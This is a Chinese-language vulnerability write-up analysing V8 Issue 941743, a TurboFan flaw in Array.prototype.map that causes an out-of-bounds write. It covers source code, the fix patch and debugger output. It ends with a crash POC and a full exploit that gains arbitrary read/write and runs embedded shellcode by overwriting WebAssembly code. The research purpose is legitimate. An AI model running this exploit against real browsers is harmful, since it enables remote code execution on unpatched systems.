0%

issue_941743

文章首发于安全KER https://www.anquanke.com/post/id/234429

0x00 前言

Issue 941743是2019年的一个v8方面的历史漏洞,其漏洞发生在对Array.prototype.map函数的Reduce过程,之前介绍过Array.prototype.map的一个回调漏洞,本文将介绍其在JIT层的一个优化漏洞。

0x01 前置知识

Array.prototype.map()

Array.prototype.map()函数用于从一个数组中根据函数关系创建一个映射,其语法如下

var new_array = arr.map(function callback(currentValue[, index[, array]]) {
// Return element for new_array
}[, thisArg])

基本用法如下

1
2
3
4
5
6
7
8
var a = [1,2,3];

var b = a.map((value,index)=>{
print("index="+index+" value=" + value);
return value+1;
});

print("b=",b);

输出如下

1
2
3
4
index=0 value=1
index=1 value=2
index=2 value=3
b= 2,3,4

Array()函数调用链及JIT优化分析

源码分析

当我们执行var a = Array(1)时,首先调用的是ArrayConstructor,该函数位于src/builtins/builtins-array-gen.cc,按照源码分析,其调用链为ArrayConstructor -> ArrayConstructorImpl -> GenerateArrayNArgumentsConstructor -> TailCallRuntime
GenerateArrayNArgumentsConstructor函数如下,其结尾使用了TailCallRuntime去调用某个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void ArrayBuiltinsAssembler::GenerateArrayNArgumentsConstructor(
TNode<Context> context, TNode<JSFunction> target, TNode<Object> new_target,
TNode<Int32T> argc, TNode<HeapObject> maybe_allocation_site) {
// Replace incoming JS receiver argument with the target.
// TODO(ishell): Avoid replacing the target on the stack and just add it
// as another additional parameter for Runtime::kNewArray.
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
args.SetReceiver(target);

// Adjust arguments count for the runtime call: +1 for implicit receiver
// and +2 for new_target and maybe_allocation_site.
argc = Int32Add(argc, Int32Constant(3));
TailCallRuntime(Runtime::kNewArray, argc, context, new_target,
maybe_allocation_site);
}

而TailCallRuntime函数在不同指令架构上有不同的实现,这里我们看x64架构的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void MacroAssembler::TailCallRuntime(Runtime::FunctionId fid) {
// ----------- S t a t e -------------
// -- rsp[0] : return address
// -- rsp[8] : argument num_arguments - 1
// ...
// -- rsp[8 * num_arguments] : argument 0 (receiver)
//
// For runtime functions with variable arguments:
// -- rax : number of arguments
// -----------------------------------

const Runtime::Function* function = Runtime::FunctionForId(fid);
DCHECK_EQ(1, function->result_size);
if (function->nargs >= 0) {
Set(rax, function->nargs);
}
JumpToExternalReference(ExternalReference::Create(fid));
}

通过Runtime::FunctionForId(fid)找到函数对象,在源码文件中src/runtime/runtime.cc中有定义

1
2
3
const Runtime::Function* Runtime::FunctionForId(Runtime::FunctionId id) {
return &(kIntrinsicFunctions[static_cast<int>(id)]);
}

其中kIntrinsicFunctions的定义如下

1
2
static const Runtime::Function kIntrinsicFunctions[] = {
FOR_EACH_INTRINSIC(F) FOR_EACH_INLINE_INTRINSIC(I)};

宏定义FOR_EACH_INTRINSIC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#define FOR_EACH_INTRINSIC_IMPL(F, I)       \
FOR_EACH_INTRINSIC_RETURN_PAIR_IMPL(F, I) \
FOR_EACH_INTRINSIC_RETURN_OBJECT_IMPL(F, I)
#define FOR_EACH_INTRINSIC_RETURN_OBJECT_IMPL(F, I) \
FOR_EACH_INTRINSIC_ARRAY(F, I) \
FOR_EACH_INTRINSIC_ATOMICS(F, I) \
FOR_EACH_INTRINSIC_BIGINT(F, I) \
FOR_EACH_INTRINSIC_CLASSES(F, I) \
FOR_EACH_INTRINSIC_COLLECTIONS(F, I) \
FOR_EACH_INTRINSIC_COMPILER(F, I) \
FOR_EACH_INTRINSIC_DATE(F, I) \
FOR_EACH_INTRINSIC_DEBUG(F, I) \
FOR_EACH_INTRINSIC_FORIN(F, I) \
FOR_EACH_INTRINSIC_FUNCTION(F, I) \
FOR_EACH_INTRINSIC_GENERATOR(F, I) \
FOR_EACH_INTRINSIC_IC(F, I) \
FOR_EACH_INTRINSIC_INTERNAL(F, I) \
FOR_EACH_INTRINSIC_INTERPRETER(F, I) \
FOR_EACH_INTRINSIC_INTL(F, I) \
FOR_EACH_INTRINSIC_LITERALS(F, I) \
FOR_EACH_INTRINSIC_MODULE(F, I) \
FOR_EACH_INTRINSIC_NUMBERS(F, I) \
FOR_EACH_INTRINSIC_OBJECT(F, I) \
FOR_EACH_INTRINSIC_OPERATORS(F, I) \
FOR_EACH_INTRINSIC_PROMISE(F, I) \
FOR_EACH_INTRINSIC_PROXY(F, I) \
FOR_EACH_INTRINSIC_REGEXP(F, I) \
FOR_EACH_INTRINSIC_SCOPES(F, I) \
FOR_EACH_INTRINSIC_STRINGS(F, I) \
FOR_EACH_INTRINSIC_SYMBOL(F, I) \
FOR_EACH_INTRINSIC_TEST(F, I) \
FOR_EACH_INTRINSIC_TYPEDARRAY(F, I) \
FOR_EACH_INTRINSIC_WASM(F, I) \
FOR_EACH_INTRINSIC_WEAKREF(F, I)

其中,我们较为关注的kNewArray函数在FOR_EACH_INTRINSIC_ARRAY里被注册

1
2
3
4
5
6
7
8
9
10
11
#define FOR_EACH_INTRINSIC_ARRAY(F, I) \
F(ArrayIncludes_Slow, 3, 1) \
F(ArrayIndexOf, 3, 1) \
F(ArrayIsArray, 1, 1) \
F(ArraySpeciesConstructor, 1, 1) \
F(GrowArrayElements, 2, 1) \
I(IsArray, 1, 1) \
F(NewArray, -1 /* >= 3 */, 1) \
F(NormalizeElements, 1, 1) \
F(TransitionElementsKind, 2, 1) \
F(TransitionElementsKindWithKind, 2, 1)

由此可以知道Array(1)最终调用的是NewArray函数,该函数位于src/runtime/runtime-array.cc文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
RUNTIME_FUNCTION(Runtime_NewArray) {
HandleScope scope(isolate);
DCHECK_LE(3, args.length());
int const argc = args.length() - 3;
// argv points to the arguments constructed by the JavaScript call.
JavaScriptArguments argv(argc, args.address_of_arg_at(0));
CONVERT_ARG_HANDLE_CHECKED(JSFunction, constructor, argc);
CONVERT_ARG_HANDLE_CHECKED(JSReceiver, new_target, argc + 1);
CONVERT_ARG_HANDLE_CHECKED(HeapObject, type_info, argc + 2);
// TODO(bmeurer): Use MaybeHandle to pass around the AllocationSite.
Handle<AllocationSite> site = type_info->IsAllocationSite()
? Handle<AllocationSite>::cast(type_info)
: Handle<AllocationSite>::null();

Factory* factory = isolate->factory();

// If called through new, new.target can be:
// - a subclass of constructor,
// - a proxy wrapper around constructor, or
// - the constructor itself.
// If called through Reflect.construct, it's guaranteed to be a constructor by
// REFLECT_CONSTRUCT_PREPARE.
DCHECK(new_target->IsConstructor());

bool holey = false;
bool can_use_type_feedback = !site.is_null();
bool can_inline_array_constructor = true;
if (argv.length() == 1) {
Handle<Object> argument_one = argv.at<Object>(0);
if (argument_one->IsSmi()) {
int value = Handle<Smi>::cast(argument_one)->value();
if (value < 0 ||
JSArray::SetLengthWouldNormalize(isolate->heap(), value)) {
// the array is a dictionary in this case.
can_use_type_feedback = false;
} else if (value != 0) {
holey = true;
if (value >= JSArray::kInitialMaxFastElementArray) {
can_inline_array_constructor = false;
}
}
} else {
// Non-smi length argument produces a dictionary
can_use_type_feedback = false;
}
}
...............................省略线......................
if (!site.is_null()) {
if ((old_kind != array->GetElementsKind() || !can_use_type_feedback ||
!can_inline_array_constructor)) {
// The arguments passed in caused a transition. This kind of complexity
// can't be dealt with in the inlined optimized array constructor case.
// We must mark the allocationsite as un-inlinable.
site->SetDoNotInlineCall();
}
} else {
if (old_kind != array->GetElementsKind() || !can_inline_array_constructor) {
// We don't have an AllocationSite for this Array constructor invocation,
// i.e. it might a call from Array#map or from an Array subclass, so we
// just flip the bit on the global protector cell instead.
// TODO(bmeurer): Find a better way to mark this. Global protectors
// tend to back-fire over time...
if (Protectors::IsArrayConstructorIntact(isolate)) {
Protectors::InvalidateArrayConstructor(isolate);
}
}

以上代码,仅保留了我们较为关注的地方,从中可以看出,如果数组元素类型为Smi类型,并且value >= JSArray::kInitialMaxFastElementArray成立,也就是数组长度大于JSArray::kInitialMaxFastElementArray值的时候,can_inline_array_constructor被标记为false,最终,因为该标记,site->SetDoNotInlineCall()函数被调用。该标记最终将会在src/compiler/js-create-lowering.cc文件中的ReduceJSCreateArray函数中使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (length_type.Maybe(Type::UnsignedSmall()) && can_inline_call) {
return ReduceNewArray(node, length, *initial_map, elements_kind,
allocation, slack_tracking_prediction);
}
...........省略线...............
if (values_all_smis) {
// Smis can be stored with any elements kind.
} else if (values_all_numbers) {
elements_kind = GetMoreGeneralElementsKind(
elements_kind, IsHoleyElementsKind(elements_kind)
? HOLEY_DOUBLE_ELEMENTS
: PACKED_DOUBLE_ELEMENTS);
} else if (values_any_nonnumber) {
elements_kind = GetMoreGeneralElementsKind(
elements_kind, IsHoleyElementsKind(elements_kind) ? HOLEY_ELEMENTS
: PACKED_ELEMENTS);
} else if (!can_inline_call) {
// We have some crazy combination of types for the {values} where
// there's no clear decision on the elements kind statically. And
// we don't have a protection against deoptimization loops for the
// checks that are introduced in the call to ReduceNewArray, so
// we cannot inline this invocation of the Array constructor here.
return NoChange();
}
return ReduceNewArray(node, values, *initial_map, elements_kind, allocation,
slack_tracking_prediction);

从分析中可以看出,该标记将影响Array(1)这个函数在JIT编译时是否会被内联优化。

IR图分析

首先,我们的测试代码如下,需要知道的一点是Array.prototype.map内部会调用JSCreateArray来创建新数组存放结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//将can_inline_array_constructor设置为false
Array(2**30);

function opt() {
var a = [1,2,3];
var b = a.map((value,index) => {
return value;
});
return b;
}


for (var i=0;i<0x10000;i++) {
opt();
}

其IR图如下,可以看到,在typed lowering阶段,JSCreateArray并没有被优化为JIT代码,其仍然为JS层的代码调用。

接下来,我们去除测试脚本里的Array(2**30);这句,然后重新查看IR图,可以发现,其被优化成了本地代码了。

0x02 漏洞分析

patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 636bdc1..d37f461 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
@@ -1538,6 +1538,13 @@
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)), receiver,
effect, control);

+ // If the array length >= kMaxFastArrayLength, then CreateArray
+ // will create a dictionary. We should deopt in this case, and make sure
+ // not to attempt inlining again.
+ original_length = effect = graph()->NewNode(
+ simplified()->CheckBounds(p.feedback()), original_length,
+ jsgraph()->Constant(JSArray::kMaxFastArrayLength), effect, control);
+
// Even though {JSCreateArray} is not marked as {kNoThrow}, we can elide the
// exceptional projections because it cannot throw with the given parameters.
Node* a = control = effect = graph()->NewNode(

该patch用于修复漏洞,patch位于src/compiler/js-call-reducer.cc文件中的JSCallReducer::ReduceArrayMap函数,该函数是对Array.prototype.map函数进行优化的,patch中主要增加了一个对源数组的长度进行检查,检查其是否大于kMaxFastArrayLength,因为添加的是一个CheckBounds节点,所以如果大于的话将deoptimization bailout从而不使用其生成的JIT代码。
我们来分析一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
  Node* original_length = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)), receiver,
effect, control);

// 根据original_length,调用JSCreateArray创建一个新数组
Node* a = control = effect = graph()->NewNode(
javascript()->CreateArray(1, MaybeHandle<AllocationSite>()),
array_constructor, array_constructor, original_length, context,
outer_frame_state, effect, control);

Node* checkpoint_params[] = {receiver, fncallback, this_arg,
a, k, original_length};
const int stack_parameters = arraysize(checkpoint_params);

// 检查map的回调函数是否可用,如果可以,就进行调用
Node* check_frame_state = CreateJavaScriptBuiltinContinuationFrameState(
jsgraph(), shared, Builtins::kArrayMapLoopLazyDeoptContinuation,
node->InputAt(0), context, &checkpoint_params[0], stack_parameters,
outer_frame_state, ContinuationFrameStateMode::LAZY);
Node* check_fail = nullptr;
Node* check_throw = nullptr;
WireInCallbackIsCallableCheck(fncallback, context, check_frame_state, effect,
&control, &check_fail, &check_throw);

// 调用回调函数生成映射值
Node* vloop = k = WireInLoopStart(k, &control, &effect);
Node *loop = control, *eloop = effect;
checkpoint_params[4] = k;

Node* continue_test =
graph()->NewNode(simplified()->NumberLessThan(), k, original_length);
Node* continue_branch = graph()->NewNode(common()->Branch(BranchHint::kNone),
continue_test, control);

Node* if_true = graph()->NewNode(common()->IfTrue(), continue_branch);
Node* if_false = graph()->NewNode(common()->IfFalse(), continue_branch);
control = if_true;

Node* frame_state = CreateJavaScriptBuiltinContinuationFrameState(
jsgraph(), shared, Builtins::kArrayMapLoopEagerDeoptContinuation,
node->InputAt(0), context, &checkpoint_params[0], stack_parameters,
outer_frame_state, ContinuationFrameStateMode::EAGER);

effect =
graph()->NewNode(common()->Checkpoint(), frame_state, effect, control);

// Make sure the map hasn't changed during the iteration
effect =
graph()->NewNode(simplified()->CheckMaps(CheckMapsFlag::kNone,
receiver_maps, p.feedback()),
receiver, effect, control);

Node* element =
SafeLoadElement(kind, receiver, control, &effect, &k, p.feedback());

Node* next_k =
graph()->NewNode(simplified()->NumberAdd(), k, jsgraph()->OneConstant());

Node* hole_true = nullptr;
Node* hole_false = nullptr;
Node* effect_true = effect;

if (IsHoleyElementsKind(kind)) {
// 跳过无值的空洞
Node* check;
if (IsDoubleElementsKind(kind)) {
check = graph()->NewNode(simplified()->NumberIsFloat64Hole(), element);
} else {
check = graph()->NewNode(simplified()->ReferenceEqual(), element,
jsgraph()->TheHoleConstant());
}
Node* branch =
graph()->NewNode(common()->Branch(BranchHint::kFalse), check, control);
hole_true = graph()->NewNode(common()->IfTrue(), branch);
hole_false = graph()->NewNode(common()->IfFalse(), branch);
control = hole_false;

// The contract is that we don't leak "the hole" into "user JavaScript",
// so we must rename the {element} here to explicitly exclude "the hole"
// from the type of {element}.
element = effect = graph()->NewNode(
common()->TypeGuard(Type::NonInternal()), element, effect, control);
}

// This frame state is dealt with by hand in
// ArrayMapLoopLazyDeoptContinuation.
frame_state = CreateJavaScriptBuiltinContinuationFrameState(
jsgraph(), shared, Builtins::kArrayMapLoopLazyDeoptContinuation,
node->InputAt(0), context, &checkpoint_params[0], stack_parameters,
outer_frame_state, ContinuationFrameStateMode::LAZY);

Node* callback_value = control = effect = graph()->NewNode(
javascript()->Call(5, p.frequency()), fncallback, this_arg, element, k,
receiver, context, frame_state, effect, control);

// Rewire potential exception edges.
Node* on_exception = nullptr;
if (NodeProperties::IsExceptionalCall(node, &on_exception)) {
RewirePostCallbackExceptionEdges(check_throw, on_exception, effect,
&check_fail, &control);
}

// The array {a} should be HOLEY_SMI_ELEMENTS because we'd only come into this
// loop if the input array length is non-zero, and "new Array({x > 0})" always
// produces a HOLEY array.
MapRef holey_double_map =
native_context().GetInitialJSArrayMap(HOLEY_DOUBLE_ELEMENTS);
MapRef holey_map = native_context().GetInitialJSArrayMap(HOLEY_ELEMENTS);
//将值存入数组
effect = graph()->NewNode(simplified()->TransitionAndStoreElement(
holey_double_map.object(), holey_map.object()),
a, k, callback_value, effect, control);

if (IsHoleyElementsKind(kind)) {
Node* after_call_and_store_control = control;
Node* after_call_and_store_effect = effect;
control = hole_true;
effect = effect_true;

control = graph()->NewNode(common()->Merge(2), control,
after_call_and_store_control);
effect = graph()->NewNode(common()->EffectPhi(2), effect,
after_call_and_store_effect, control);
}

WireInLoopEnd(loop, eloop, vloop, next_k, control, effect);

control = if_false;
effect = eloop;

// Wire up the branch for the case when IsCallable fails for the callback.
// Since {check_throw} is an unconditional throw, it's impossible to
// return a successful completion. Therefore, we simply connect the successful
// completion to the graph end.
Node* throw_node =
graph()->NewNode(common()->Throw(), check_throw, check_fail);
NodeProperties::MergeControlToEnd(graph(), common(), throw_node);

ReplaceWithValue(node, a, effect, control);
return Replace(a);
}

以上代码看似没有什么问题,但忽略了JSCreateArray的一个特性,如果要申请的大小大于某个阈值(0x2000000),那么其返回的对象,其Element不再是数组类型,而是Dictionary类型,测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var a = Array(0x2000001);
%DebugPrint(a);
DebugPrint: 0x19c022c0dbf1: [JSArray]
- map: 0x3427e398a9f9 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x1e11fad11081 <JSArray[0]>
- elements: 0x19c022c0dc11 <NumberDictionary[16]> [DICTIONARY_ELEMENTS]
- length: 33554433
- properties: 0x342395d80c21 <FixedArray[0]> {
#length: 0x3538bdb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x19c022c0dc11 <NumberDictionary[16]> {
- max_number_key: 0
}
0x3427e398a9f9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: DICTIONARY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x3427e3982fc9 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x3538bdb00609 <Cell value= 1>
- instance descriptors (own) #1: 0x1e11fad11e69 <DescriptorArray[1]>
- layout descriptor: (nil)
- prototype: 0x1e11fad11081 <JSArray[0]>
- constructor: 0x1e11fad10e31 <JSFunction Array (sfi = 0x3538bdb0ac69)>
- dependent code: 0x342395d802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

当JSCreateArray返回的是Dictionary类型时,V8的优化代码仍然是以数组连续的方式写值的。在就导致了数组溢出。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Array(2**30);

function opt(a) {
return a.map((value,index)=>{return value});
}

var a = [1,2,3,,,,4];
for (var i=0;i<0x20000;i++) {
opt(a);
}

a.length = 0x2000000;
a.fill(1,0);
a.length += 0x66;
//溢出
opt(a);

调试过程,报了Segmentation fault.错误,这是因为越界写,超过了可访问的区域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00000d833f382f6a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
RAX 0x2c9f5e100139 ◂— 0x210000242e4080a9
RBX 0x2c9f5e100159 ◂— 0x352a634016
RCX 0x2000066
RDX 0x7fc28f74a0bd ◂— 'end - start <= kHandleBlockSize'
RDI 0x7ffc6bfa0c48 —▸ 0x2c9f5e100139 ◂— 0x210000242e4080a9
RSI 0x34218f8017d9 ◂— 0x352a63400f
R8 0xffd3
R9 0xae2d8a02b31 ◂— 0x210000242e40802e
R10 0x100000000
R11 0x242e40802e89 ◂— 0x40000352a634001
R12 0x1
R13 0x55715eb87e50 —▸ 0x352a63400751 ◂— 0x5a0000352a634004
R14 0xffd3
R15 0x6
RBP 0x7ffc6bfa0d18 —▸ 0x7ffc6bfa0d80 —▸ 0x7ffc6bfa0da8 —▸ 0x7ffc6bfa0e10 —▸ 0x7ffc6bfa0e60 ◂— ...
RSP 0x7ffc6bfa0ce0 ◂— 0x2
RIP 0xd833f382f6a ◂— vmovsd qword ptr [rbx + r14*8 + 0xf], xmm0
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0xd833f382f6a vmovsd qword ptr [rbx + r14*8 + 0xf], xmm0
0xd833f382f71 jmp 0xd833f382e90 <0xd833f382e90>

疑难问题

我们还注意到一个细节,我们的数组是HOLEY_SMI_ELEMENTS,首先,SMI是为了满足JSCreateArray不内联的条件,而HOLEY是为了能够溢出方便控制内存,因为空洞的原因,不会对某块区域进行写,从而不至于破坏内存中其他地方,仅去覆盖我们需要的地方。

1
var a = [1,2,3,,,,4];

另一个问题是为何要防止JSCreateArray内联,首先,我们去除开头的Array(2**30),然后观察IR图。没内联时是这样的

内联以后是这样的,因为内联多了个CheckBound,且我们触发漏洞的length显然超过这个范围,这将导致直接deoptimization bailout。

gdb调试如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x00003bbfbc0830fb in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
RAX 0x1caece4004d1 ◂— 0x1caece4005
RBX 0x7fa156f631b0 ◂— push rbp
RCX 0x335e74882b69 ◂— 0x21000029b2ef682e
RDX 0x560d0e592ac0 —▸ 0x560d0e607a30 ◂— 0x1baddead0baddeaf
RDI 0x29b2ef682e89 ◂— 0x400001caece4001
RSI 0x3a04229817d9 ◂— 0x1caece400f
R8 0x2000066
R9 0x200006600000000
R10 0x100000000
R11 0x7fa156b61270 (v8::internal::IncrementalMarking::RetainMaps()) ◂— push rbp
R12 0x7fffe6d138b0 —▸ 0x7fffe6d138d8 —▸ 0x7fffe6d13940 —▸ 0x7fffe6d13990 —▸ 0x7fffe6d13cc0 ◂— ...
R13 0x560d0e588e70 —▸ 0x1caece400751 ◂— 0xde00001caece4004
R14 0x1caece4005b1 ◂— 0xff00001caece4005
R15 0x7fffe6d13810 —▸ 0x3bbfbc08304a ◂— jmp 0x3bbfbc082e16
RBP 0x7fffe6d13848 —▸ 0x7fffe6d138b0 —▸ 0x7fffe6d138d8 —▸ 0x7fffe6d13940 —▸ 0x7fffe6d13990 ◂— ...
RSP 0x7fffe6d13818 —▸ 0x3a042299f563 ◂— 0x1caece
*RIP 0x3bbfbc0830fb ◂— mov r13, 2
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x3bbfbc082e48 jae 0x3bbfbc082e5c <0x3bbfbc082e5c>

0x3bbfbc082e5c mov r9, r8
0x3bbfbc082e5f shl r9, 0x20
0x3bbfbc082e63 cmp r8d, 0x7ff8
0x3bbfbc082e6a jae 0x3bbfbc0830fb <0x3bbfbc0830fb>

► 0x3bbfbc0830fb mov r13, 2
0x3bbfbc083102 call 0x3bbfbc102040 <0x3bbfbc102040>

可以看到,因为cmp r8d, 0x7ff8比较不通过导致直接deoptimization bailout了,因此JSCreateArray不能内联。

exp

通过溢出,覆盖Array的length,从而构造一个能自由控制的oob数组,然后就很容易利用了,当我们完成构造oob数组以后,我们使用throw抛出一个异常,从而可以使得map函数停止向后的迭代。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}

function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}

//使得TurboFan不会将JSCreateArray内联化
Array(2**30);

var oob_arr;
var obj_arr;
var arr_buf;
var oob_arr_length_idx = 0x18;

function opt(arr,flag) {
return arr.map((value,index)=>{
if (index == 0) {
oob_arr = [1.1,2.2,3.3];
obj_arr = [{}];
arr_buf = new ArrayBuffer(0x10);
if (flag) {
/*%DebugPrint(a);
%DebugPrint(oob_arr);*/
}
} else if (index > oob_arr_length_idx) {
throw "oob finished!"
}
return value;
});
}

//HOLEY_SMI_ELEMENTS的数组
var a = [1,2,,3];
for (var i=0;i < 0x10000; i++) {
opt(a,false);
}

a.length = 0x2000000;
a.fill(1,0x18); //从0x18开始,为hole的在map时自动跳过,这样不至于损坏数据
a.length += 0x66;

try {
opt(a,true);
} catch (e) {
if (oob_arr.length > 3) {
print("oob success!");
} else {
throw "oob failed!";
}
}

//%DebugPrint(oob_arr);
//%DebugPrint(obj_arr);

function addressOf(obj) {
obj_arr[0] = obj;
return u64f(oob_arr[0x10]) - 0x1n;
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x100n;
//%DebugPrint(wasmInstance);


/*%DebugPrint(oob_arr);
%DebugPrint(arr_buf);
*/

oob_arr[0x18] = i2f64(0x100);
oob_arr[0x19] = i2f64(wasm_shellcode_ptr_addr);
var adv = new DataView(arr_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);

print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
oob_arr[0x19] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();

0x03 感想

通过本次实践,对于V8的知识又增加了,还得不断的学习。

0x04 参考

Array.prototype.map()
把握机会之窗:看我如何获得Chrome 1-day漏洞并实现利用
Chrome M73 issue 941743